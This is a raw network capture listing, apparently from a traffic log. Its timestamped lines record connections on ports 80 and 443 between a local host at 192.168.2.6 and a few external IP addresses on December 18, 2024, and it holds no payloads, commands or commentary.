Dec 18, 2024 12:00:33.974257946 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.974828959 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.974859953 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.974947929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.974978924 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.975631952 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.975665092 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.975817919 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.975852966 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.976383924 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.976421118 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.976448059 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.976479053 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.977119923 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.977138996 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.977150917 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.977166891 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.977884054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.978022099 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.978058100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.987536907 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:33.987660885 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:33.989166021 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:33.991552114 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:33.991664886 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:33.993168116 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:33.999725103 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:33.999831915 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:33.999903917 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.007935047 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.008097887 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.008114100 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.009164095 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.016027927 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.016139984 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.016170979 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.017180920 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.024208069 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.024298906 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.024770975 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.032346010 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.032413006 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.032478094 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.040529013 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.040608883 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.041166067 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.048758030 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.048847914 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.049168110 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.056799889 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.056879044 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.057178974 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.064441919 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.064562082 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.065171957 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.072026014 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.077186108 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.145158052 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:34.149230003 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:34.178656101 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.178739071 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.178792953 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.181201935 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.181441069 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.181454897 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.181508064 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.185930967 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.185976982 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.186031103 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.190821886 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.190948963 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.190992117 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.195947886 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.195970058 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.196013927 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.200401068 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.200488091 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.200535059 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.205389977 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.205473900 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.205533028 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.209852934 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.209963083 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.210031986 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.215194941 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.215229988 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.215235949 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.215277910 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.219293118 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.219369888 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.219387054 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.219484091 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.224044085 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.224137068 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.224164009 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.224240065 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.229049921 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.229139090 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.229214907 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.229330063 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.233648062 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.233660936 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.233706951 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.234014034 CET	443	49978	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:34.234116077 CET	443	49978	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:34.234172106 CET	49978	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:34.238190889 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.238254070 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.238317013 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.242943048 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.243176937 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.243218899 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.247643948 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.247752905 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.247806072 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.252336025 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.252379894 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.252434015 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.257543087 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.257659912 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.257716894 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.261791945 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.261913061 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.261962891 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.266535997 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.266627073 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.266664982 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.271177053 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.271363974 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.271410942 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.276088953 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.276185989 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.276241064 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.362118959 CET	49978	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:34.362155914 CET	443	49978	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:34.369972944 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.370033026 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.370106936 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.371668100 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.371725082 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.371778965 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.373192072 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.375466108 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.375570059 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.375610113 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.379184008 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.379266024 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.379340887 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.383035898 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.383064985 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.383133888 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.386787891 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.386863947 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.386914968 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.390398979 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.390470982 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.390521049 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.393834114 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.393899918 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.393944979 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.397250891 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.397394896 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.397448063 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.400655985 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.400760889 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.400830030 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.403948069 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.404037952 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.404088020 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.407259941 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.407310963 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.407371044 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.410446882 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.410587072 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.410634041 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.413698912 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.413810968 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.413830996 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.413845062 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.417067051 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.417104006 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.417165995 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.420217991 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.420263052 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.420326948 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.421196938 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.423650980 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.423747063 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.424015045 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.426939011 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.427155972 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.427229881 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.429917097 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.430011988 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.430155993 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.433202028 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.433267117 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.433275938 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.433317900 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.436433077 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.436470032 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.436472893 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.436508894 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.439661026 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.439697027 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.439759970 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.439795017 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.442900896 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.442940950 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.443003893 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.443211079 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.446170092 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.446219921 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.446413040 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.446489096 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.449403048 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.449448109 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.449486017 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.449537992 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.453119993 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.453191042 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.453227043 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.453294992 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.456156969 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.456234932 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.456249952 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.456288099 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.459183931 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.459245920 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.459283113 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.462378025 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.462395906 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.462435961 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.465615988 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.465717077 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.465773106 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.465990067 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.468827963 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.468935966 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.468969107 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.469026089 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.472026110 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.472068071 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.472160101 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.472203970 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.475286007 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.475379944 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.475423098 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.478581905 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.478638887 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.478672028 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.479119062 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.481867075 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.481961966 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.482002020 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.485045910 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.485100031 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.485158920 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.486262083 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.488332033 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.488428116 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.488472939 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.491626978 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.491818905 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.491837025 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.491926908 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.560585976 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.560627937 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.560633898 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.560659885 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.561981916 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.561996937 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.562057018 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.563937902 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.563982010 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.564043999 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.564081907 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.566696882 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.566744089 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.566766977 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.566791058 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.569415092 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.569458961 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.569489002 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.569529057 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.572062016 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.572108984 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.572113037 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.572144985 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.574575901 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.574620962 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.574816942 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.574853897 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.577220917 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.577281952 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.577290058 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.577315092 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.579602003 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.579643011 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.579655886 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.579679966 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.581947088 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.581986904 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.582072020 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.582199097 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.584413052 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.584522009 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.584530115 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.584563017 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.586932898 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.586973906 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.587096930 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.587129116 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.589010954 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.589063883 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.589088917 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.589123964 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.591295958 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.591382980 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.591397047 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.591413975 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.593563080 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.593601942 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.593667984 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.593765020 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.596915960 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.597047091 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.597079992 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.597141027 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.599077940 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.599184990 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.599206924 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.599221945 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.600761890 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.600800037 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.600857019 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.600891113 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.602353096 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.602400064 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.602480888 CET	80	49977	185.215.113.16	192.168.2.6
